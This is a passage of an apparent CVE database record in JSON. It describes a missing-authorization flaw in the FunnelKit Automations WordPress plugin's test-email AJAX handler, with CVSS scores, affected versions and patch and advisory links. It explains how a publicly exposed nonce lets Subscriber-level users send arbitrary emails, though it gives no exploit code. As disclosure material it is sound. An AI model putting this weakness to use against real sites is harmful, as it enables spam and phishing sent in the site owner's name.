This is due to the plugin not properly verifying that a user is authorized to perform administrative actions in the `bwfan_test_email` AJAX handler. The nonce used for verification is publicly exposed to all visitors (including unauthenticated users) via the frontend JavaScript localization, and the `check_nonce()` function accepts low-privilege authenticated users who possess this nonce. This makes it possible for authenticated attackers, with Subscriber-level access and above, to send arbitrary emails from the site with attacker-controlled subject and body content."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:funnelkit:funnelkit_automations:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.6.4.2", "matchCriteriaId": "3034084D-172A-4FE5-9A23-F7B4F45F4787"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-marketing-automations/trunk/includes/abstracts/class-bwfan-ajax-controller.php#L296", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/wp-marketing-automations/trunk/includes/class-bwfan-common.php#L1896", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/wp-marketing-automations/trunk/includes/class-bwfan-public.php#L70", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3388822/wp-marketing-automations/trunk/includes/abstracts/class-bwfan-ajax-controller.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/72198b74-90f6-49c6-b261-6f9c1cdc9692?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}
